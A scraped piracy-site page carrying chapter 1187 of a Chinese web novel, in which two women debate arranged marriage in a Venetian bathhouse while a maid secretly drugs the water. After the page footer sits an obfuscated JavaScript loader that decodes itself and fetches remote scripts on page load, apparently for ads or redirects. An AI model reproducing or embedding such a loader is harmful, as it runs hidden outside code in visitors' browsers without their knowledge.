首页
第1187章 罗马的风信子
返回
关灯 护眼:关 字号:小

第1187章 罗马的风信子

章节报错(免登陆)

一秒记住【笔趣阁】
biquge365.net,更新快,无弹窗!

    蒲徽岚愣在原地,眉头微微蹙起:“这女人,不是个兔子吧?”
    可一想到这女人知道杨炯的最新情报,当即便一咬牙,暗下决心:兔子就兔子!我还就不信治不了你一个雏儿!
    这般想着,她提起石榴红的长裙,大步走进那扇门。
    门后的世界,另有一番天地。
    那是一间巨大的浴室,穹顶高耸,用彩色马赛克拼出海神波塞冬的传说。阳光从穹顶的玻璃天窗倾泻而下,在蒸腾的雾气中化作千万道金色的光柱,圣洁而神秘。
    浴室中央是一座巨大的温泉池,池水清澈见底,能看见池底铺着的蓝色马赛克,拼出游动的海豚和翻滚的浪花。
    泉水从四尊青铜海马的口中汩汩涌出,冒着蒸腾的热气,在水面激起一圈圈涟漪。
    雾气缭绕,花香浮动。
    浴池的四周,站着近二十个侍女。
    她们穿着白色的亚麻长裙,腰间系着银色的细链,一个个低眉顺目,姿态恭谨。
    有的手捧叠得整整齐齐的浴巾,有的端着银盘,盘里盛着各色精油、香膏、澡豆,装在雕花的水晶瓶里,在雾气中闪烁着华贵的珠光;有的手持巨大的羽毛扇,轻轻扇动,将热气均匀地散布到每一个角落。
    还有的跪在池边,将篮中的花瓣撒入水中,紫色的风信子、红色的玫瑰、粉色的石楠花,一片片,一瓣瓣,飘落在水面上,极度奢华。
    而最令人惊叹的,是浴室的另一端。
    那里没有墙,只有一排巨大的白色石柱,石柱之间没有任何遮挡,直接面对着广阔的潟湖。
    阳光毫无保留地倾泻进来,将整座浴室照得明亮。石柱外,是一片盛开的风信子花田,紫色的、红色的、粉色的、白色的,开得铺天盖地,在雾气中摇曳生姿,如若一片流动的彩色云霞。
    花田的尽头,是潟湖的水面,波光粼粼,远处隐约可见几座小岛的轮廓。湖水轻轻拍打着岸边的石阶,发出温柔的声响,和海鸟的鸣叫交织在一起,静谧安详。
    蒲徽岚站在门口,一时竟有些怔住。
    她见过大华的宫殿,见过江南园林的精巧,见过紫禁城的巍峨。但这种将自然与人工融为一体的壮观,这种粗犷的、原始的、带着远古气息的奢华,是她从未体验过的场景。
    卢克雷齐娅站在池边,已经张开了双臂。
    两个侍女立刻上前,一个跪在地上,一个站在身后,开始为她宽衣解带。
    她们的动作娴熟而轻柔,显然做惯了这种事。黑色的裙装从卢克雷齐娅身上滑落,像夜色褪去,露出里面象牙白的肌肤。
    蒲徽岚的目光落在那具身体上,心里微微一动。
    卢克雷齐娅的身材好得惊人,丰满的胸脯在白色亚麻内衣的包裹下呼之欲出,那弧度饱满而挺翘,像两座小小的山丘,随着她的呼吸轻轻起伏。
    纤细的腰肢盈盈一握,没有一丝赘肉,线条流畅自然,髋部的曲线却突然展开,勾勒出女性特有的圆润和丰腴。
    但最引人注目的,是她的肩膀。
    那肩膀单薄,锁骨突出,肩胛骨的轮廓清晰可见,像一只随时会飞走的蝴蝶。丰满与单薄,在这具身体上形成了奇异的对比,让人看了既想靠近,却又不敢轻易触碰。
    内衣滑落。
    卢克雷齐娅毫不在意地站在那里,任由侍女用浸了玫瑰精油的帕子擦拭她的身体。她的神态从容,姿态优雅,仿佛这世间没有什么值得她紧张的事。
    擦拭完毕,两个侍女展开一条巨大的白色浴巾,从身后披在她肩上。
    卢克雷齐娅将浴巾在胸前拢了拢,赤着脚,走向温泉池。
    她的脚踝纤细,脚趾修长,踩在温热的白色大理石地面上,留下一串浅浅的水印。
    卢克雷齐娅走下台阶,温泉水慢慢没过她的小腿,没过她的膝盖,没过她的大腿,最后停在她的腰际。
    她在水中转过身,面对着蒲徽岚,双手展开,靠在池边的白色大理石上,像一朵盛开的白色风信子。
    “感觉如何?”卢克雷齐娅的声音在雾气中显得有些飘渺,“你们大华可有这么大的浴室?”
    蒲徽岚从怔忪中回过神来,微微一笑,背过手,在浴室里缓缓踱步,目光从那些石柱上掠过:“大华没有这么大的浴室,但我们大华的史书上,记载过所谓的酒池肉林,大概同你们那罗马帝国一样奢靡。”
    卢克雷齐娅挑了挑眉。
    蒲徽岚停下脚步,转过头看着她:“几百年前,你们西方的罗马人,最会享受这个。他们到处修建这么大的浴室,在里面一待就是一整天,谈生意,谈政治,谈风月,甚至在里面吃饭睡觉。那会儿的罗马贵族,一天不泡澡就觉得浑身不自在。”
    她顿了顿,看着外面盛开的风信子,声音里多了一丝感慨:“可惜啊,光会享受有什么用?后来那些蛮族人打过来的时候,罗马的军队早就武备废弛。
    士兵们泡在温泉里泡得骨头都软了,拿不动刀,拉不开弓。那么大的帝国,说没就没了,只剩下这些破破烂烂的浴室,让后人看看,哦,原来罗马人当年这么会享受。”
    她转过头,看着卢克雷齐娅,微微一笑:“所以啊,大华没有这么大的浴室,也没什么不好。”
    卢克雷齐娅靠在池边,金色的眼睛里闪过一丝奇异的光芒:“你还了解我们的历史?”
    “杨炯告诉我的。”蒲徽岚耸耸肩,语气轻松平淡。
    卢克雷齐娅点了点头,沉默了一会儿,突然问:“他是什么样的人?”
    蒲徽岚没有立刻回答,她转过身,面向着广阔的潟湖。
    阳光从石柱间倾泻进来,照在她身上,将那袭石榴红的长裙照得更加鲜艳夺目。风吹动她的发丝,几缕碎发拂过她的脸颊,在阳光下泛着柔和的光泽。
    蒲徽岚的侧脸轮廓柔和,眉眼间却带着一种难以言说的坚定。那是一种见过世面、经过风浪之后才会有的笃定,一种无论身处何地都不会迷失自我的从容。
    “一个温柔的人。”蒲徽岚缓缓开口,声音里带着一丝她自己都没察觉的温度,“一个心怀天下的人。”
    她顿了顿,嘴角微微上扬,浮起一丝笑意,那笑意里有欣赏,有骄傲,还有一丝说不清的东西:“还很英俊。”
    卢克雷齐娅靠在池边,目光落在蒲徽岚的侧脸上,金色的瞳孔里闪过一丝复杂的情绪。那情绪里有好奇,有审视,还有一丝连她自己都不愿承认的羡慕。
    沉默在两人之间流淌,只有温泉汩汩的水声和远处潟湖的浪涛声在回荡。
    卢克雷齐娅抬起手,朝池边轻轻摆了摆。
    那几个正在往池中撒花瓣的侍女会意,起身准备离去。
    其中一个个子高挑、面容清秀的侍女,手里捧着一篮紫色的风信子花瓣。她起身时,低垂的眼睫微微颤了颤,那双眼睛里,有一丝慌乱一闪而逝。
    只在一瞬,她的手轻轻一抖,将整篮花瓣混着袖子中的粉末,全都倒进了池中。
    紫色的花瓣纷纷扬扬地飘落,在水面上铺开一层,遮住了清澈的池水,也遮住了那篮花瓣原本应该只撒一半的“失误”。
    那侍女低着头,跟着其他人一起退了出去,她的步伐平稳,姿态恭谨,看不出任何异样。
    “他会来威尼斯吗?或者罗马?”卢克雷齐娅突然问。
    “应该不会。”蒲徽岚如实回答,声音里没有一丝犹豫,“他有很多事要做。大华的事,比威尼斯的事重要得多。”
    “可惜了。”卢克雷齐娅淡淡地说。
    蒲徽岚微微歪了歪头,目光在她脸上停留了片刻:“你好像并不恨他?”
    “杨炯?”卢克雷齐娅嗤笑一声,那笑声里带着一丝嘲讽,却不知道是在嘲讽蒲徽岚,还是在嘲讽自己,“我为什么要恨他?”
    “他杀了你的未婚夫。”蒲徽岚平静陈述一个事实。
    卢克雷齐娅脸上的笑容僵了一瞬,金色眼眸闪烁,自嘲道:“什么未婚夫?我连他面都没见过。”
    “啊?”蒲徽岚微微睁大眼睛,“你们西方订婚,男女双方不见面的吗?”
    “你们东方订婚,都见面吗?”卢克雷齐娅反唇相讥,语气里带着一丝挑衅。
    蒲徽岚凝视着她,惊讶于这女人还有两副面孔。
    这种尖锐,这种反讽,这种不肯示弱的倔强,不正是当初竭力抗争父亲包办婚姻的自己吗?
    蒲徽岚笑了笑,走到池边,弯下腰,脱下脚上那双绣着榴花的绣花鞋。鞋子轻轻放在白色大理石地面上,发出细微的声响。
    她又褪去脚上的锦缎罗袜,露出一双白嫩的玉足,将双足浸入温热的泉水中,坐在池边,裙摆在平台铺开,如若一朵盛开的石榴花般鲜艳夺目。
    “那你为什么要同意嫁给他?”蒲徽岚声音里带着真诚的好奇,“又为什么要跟他订婚?”
    卢克雷齐娅目光落在远处波光粼粼的湖面上,沉默半晌才道:“还能为了什么?为了家族,为了我那教皇父亲的权力欲。
    说起来也是可笑,英格兰国王想要脱离天主教会的控制,扶持新教。我父亲急了,怕英格兰这块最大的肥肉从嘴里飞走。
    怎么办?找个虔诚的天主教徒联姻呗。
    鲍斯亚是英格兰国王的侄子,又是圆桌骑士团的成员,对天主教忠心耿耿,多好的棋子啊。”
    她顿了顿,嘴角浮起一丝冷笑:“我父亲哭着求我,说什么英格兰如果脱离教会,会有多少灵魂迷失,说什么这是上帝交给他的使命,说什么只有我能帮他。他那张脸啊,哭得那叫一个恳切,那叫一个真诚。我那时候……”
    她没有说下去,眼中悲伤一闪而逝。
    蒲徽岚一时沉默。
    温泉水轻轻拍打着池壁,发出温柔的声响。
    半晌,蒲徽岚才开口,声音虽轻却异常坚定:“对不起!我无法跟你感同身受。”
    卢克雷齐娅转过头看着她。
    “我当初也是为了家族,嫁给了不喜欢的人。”蒲徽岚的目光落在远处的湖面上,平静无波,“但是我依旧有自己的选择,自己的抗争。而你……”
    她转过头,看着卢克雷齐娅,那目光里有审视,有不解,还有一丝失望:“好像除了抱怨,毫无作为。”
    卢克雷齐娅脸色一变,那双金色的眼睛里,瞬间涌起一股怒火。那是一个被戳中痛处的人才会有的、带着杀意的怒火。
    周围的空气仿佛都冷了几分,温泉的热气似乎也无法驱散这股寒意。
    她盯着蒲徽岚,一字一顿:“你所谓的抗争,就是远走他国?”
    “算是其中一条吧。”蒲徽岚耸耸肩,语气轻松,“我蒲徽岚要过富贵的人生,精彩的人生。虽然家族的重任在我肩上,但也不影响我好好活。
    我喜欢鲜花,喜欢美酒,喜欢漂亮的衣服。我喜欢钱,喜欢别人羡慕我的目光,我虚荣,自大,嫉妒心强。我过不了穷日子,所以我要抗争,我要争取,我要过我想要过的生活。”
    “说得简单!”卢克雷齐娅冷笑一声,那笑声里满是嘲讽和不屑,“你难道没有家人?如果你的家人为了家族利益,把你卖出去做政治筹码,你当如何?还能这般大言不惭吗?”
    “那我一定要卖个好价格。”蒲徽岚眼睛里闪着狡黠的光,“嗯,下次应该能卖得更高一些,也说不定。”
    “你——!”卢克雷齐娅一时语塞。
    她盯着蒲徽岚,盯着那张笑着的脸,盯着那双毫不躲闪的眼睛,一时间竟然不知道该说什么。
    “你这般世俗又直白的女人,我还是第一次见。”卢克雷齐娅终于开口,声音里没了刚才的尖锐,却多了一丝说不清的复杂。
    “你这般出身高贵,却困在罗马自怨自艾的人,我也是第一次见。”蒲徽岚反唇相讥,语气里却没有恶意,只有一种近乎调侃的轻松。
    卢克雷齐娅心里那股不快又涌了上来。
    她看着蒲徽岚,冷冷地问:“若你是我,你该怎么办?面对这西方世界的主宰、上帝在人间的代言人,要将你像货物一样嫁人,你该如何抗争?如何过你所谓的‘想要的生活’?”
    蒲徽岚没有立刻回答,她突然觉得有些热,或许是温泉泡得太久了的缘故。
    她低头看了看浸在水中的双足,水面上飘满了风信子的花瓣,紫色的、粉色的、白色的,在阳光下泛着柔和的光泽。热气从水面升腾而起,裹挟着花香,让人有些昏昏欲醉。
    她抬起头,目光落在远处的湖面上。
    阳光在水面上跳跃,碎成千万片金色的光点。海鸟在雾气中盘旋,发出悠长的鸣叫。风信子的花香在风中飘荡,和温泉的硫磺味混在一起,有一种说不出的奇异感觉,心情也跟着飘飘然。
    蒲徽岚站起身,走到一旁,从侍女留下的银盘里拿起一条干净的白色浴巾。
    那浴巾柔软得像云朵,带着淡淡的薰衣草香味。她弯下腰,仔细地擦干脚上的水珠,每一个脚趾都擦得干干净净。
    蒲徽岚优雅地穿上罗袜,提上绣鞋,动作从容不迫,惹人侧目。
    “天地辽阔,众生万相。”蒲徽岚缓缓开口,声音不高不低,却清晰地传入卢克雷齐娅耳中,“僻远之地,多有山川胜景;繁华之都,亦是车水马龙。”
    她顿了顿,目光落在卢克雷齐娅脸上,那双眼睛里闪烁着一种奇异的光芒。
    “你可知,极高山巅,亦有寒花盛放;万里雪岭,犹有烈焰奔涌。”
    卢克雷齐娅的眉头微微蹙起。
    “世间多有出身远逊于你者,仍认真度日,不苟且、不沉沦。纵是身处微末、颠沛如乞者,亦可成就惊天伟业。”
    蒲徽岚的声音依旧平静,却每一个字都像一枚钉子,钉在卢克雷齐娅心上。
    “这世间,美好与奇迹,无时不在、无处不生。你尽可视而不见,依旧浑浑噩噩、听天由命。”
    她转过身,朝门口走去:“可他们,始终都在。”
    蒲徽岚的脚步不停。
    “你尚且年少,本可改易前路,去见更浩荡的天地,开启全新的人生。而今你却问我,该如何面对那些豺狼虎豹?”
    她走到门口,停下脚步,回过头来。
    阳光从她身后倾泻进来,将她的身影勾勒出一道金色的轮廓。她的脸在逆光中看不太清楚,只有那双眼睛,依旧明亮如星。
    “这算个问题吗?”
    蒲徽岚的声音悠悠传来,带着一丝笑意,很快消失在门后。
    卢克雷齐娅愣在温泉中,一动不动。
    她看着那道红色的身影消失的地方,心里突然涌起一种奇怪的感觉。那感觉里有愤怒,有困惑,有不解,还有一丝莫名的激动。
    “你不想知道杨炯的消息吗?”卢克雷齐娅的声音在空旷的浴室里回荡。
    门外传来一声轻笑:“他不喜欢没性格的女人。”
    卢克雷齐娅愣在那里,半晌才回过神来,没好气地骂道:“莫名其妙!”
    这般说着,卢克雷齐娅突然觉得浑身燥热。
    一定是这温泉太热了,或是那女人说话太难听。
    她心里想着,从池中站起身,水珠从她身上滑落,顺着丰满的曲线流下,滴落在白色大理石地面上,发出细微的声响。
    卢克雷齐娅走出温泉池,脚趾勾起巨大的浴巾,裹住她的身体。那浴巾柔软温暖,吸干了身上的水珠。
    她擦干头发,穿上干净的白色亚麻内衣,然后披上一件黑色的长裙。
    那裙子是用最上等的佛罗伦萨绸缎制成的,轻薄柔软,随着她的动作轻轻摆动,像夜色流淌。裙摆上绣着银色的风信子花纹,那花纹繁复精致,在阳光下闪烁着幽幽的光,奢华富贵。
    卢克雷齐娅系好腰带,抬起头,看着远处那排巨大的石柱。
    “拉娜娅,我没性格吗?”她突然开口,声音里带着一丝恼怒,一丝困惑,还有一丝连她自己都不愿承认的不确定。
    巨大的石柱后,缓缓走出一个女人。
    这叫拉娜娅的女人,穿着一身深灰色的紧身衣,外面罩着一件同色的短斗篷。
    她的脸上蒙着一块深灰色的面纱,只露出一双锐利的眼睛,神秘而危险。
    拉娜娅没有回答卢克雷齐娅的问题,只沉声道:“公主,亚当斯带了红玫瑰骑士团来的威尼斯。”
    卢克雷齐娅的眉头皱了起来:“有多少人?”
    “至少五十人,皆是全甲骑士。他们的营地扎在海神殿东侧一里外的小岛上,日夜有人巡逻。另外,潟湖入口处还停着三艘英格兰的战舰,上面有多少人,暂时无法统计。”
    卢克雷齐娅走到石柱前,扶着冰凉的大理石,看着远处的潟湖。
    阳光在水面上跳跃,碎成千万片金色的光点。海鸟在雾气中盘旋,发出悠长的鸣叫。风信子的花香在风中飘荡,混合着海水的气息,有一种说不出的清新。
    风吹过她的脸颊,吹动她的发丝,带来一丝凉意。
    那一瞬间,她突然想起了蒲徽岚的话。
    “你尽可视而不见,依旧浑浑噩噩、听天由命。”
    “你尚且年少,本可改易前路,去见更浩荡的天地,开启全新的人生。”
    “这算个问题吗?”
    卢克雷齐娅的手指微微收紧,指甲陷进掌心。
    她为什么要听天由命?她为什么要任由别人摆布?她是波吉亚家族的主人,是圣殿刺客团的领袖,她手里有力量,有资源,有可以抗争的资本。
    她为什么要把自己的一生,交给那些从未真心待过她的人?
    教皇又如何?上帝在人间的代言人又如何?
    他把她当做政治筹码,一次又一次地“卖”给那些对他有用的人。
    他从未真心待过她,从未把她当做女儿,只把她当做一件货物,一个工具,一枚可以随时牺牲的棋子。
    这样的家人,值得她委屈自己吗?
    卢克雷齐娅深吸一口气,那双金色的眼睛里,有什么东西在慢慢改变。
    那是一种她从未有过的光芒,坚定,决绝,还有一丝隐隐的锋芒。
    “拉娜娅。”卢克雷齐娅声音平静,却带着一种不容置疑的威严。
    “在。”
    “告诉姐妹们,找好退路。”卢克雷齐娅转过身,“我有不好的预感,那凯撒和亚当斯可不是什么好人!”
    拉娜娅的眼睛微微眯了眯,她没有问为什么,只是微微颔首:“是。”
    话音刚落,灰色的身影一闪,便消失在巨大的石柱后。
    卢克雷齐娅独自站在石柱前,风吹动她的黑裙和发丝。
    她心跳得很快,身体也跟着发热。
    “一定是刚才那场对话,真是个蛊惑人心的异教徒!”卢克雷齐娅喃喃自语。
    话音未落,袖中已滑出两柄一寸短剑。
    她指尖轻旋,双剑在指缝间飞速轮转,旋即手腕微抖,两柄短刃精准归入靴侧剑鞘,一气呵成。
    卢克雷齐娅深吸一口气,抬步便朝门口走去,步履坚定从容,再无半分回望。
    长廊空寂,唯有她的脚步声轻叩石地,一声、一声,缓缓远去,在空荡回廊里久久回荡,渐次消散。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();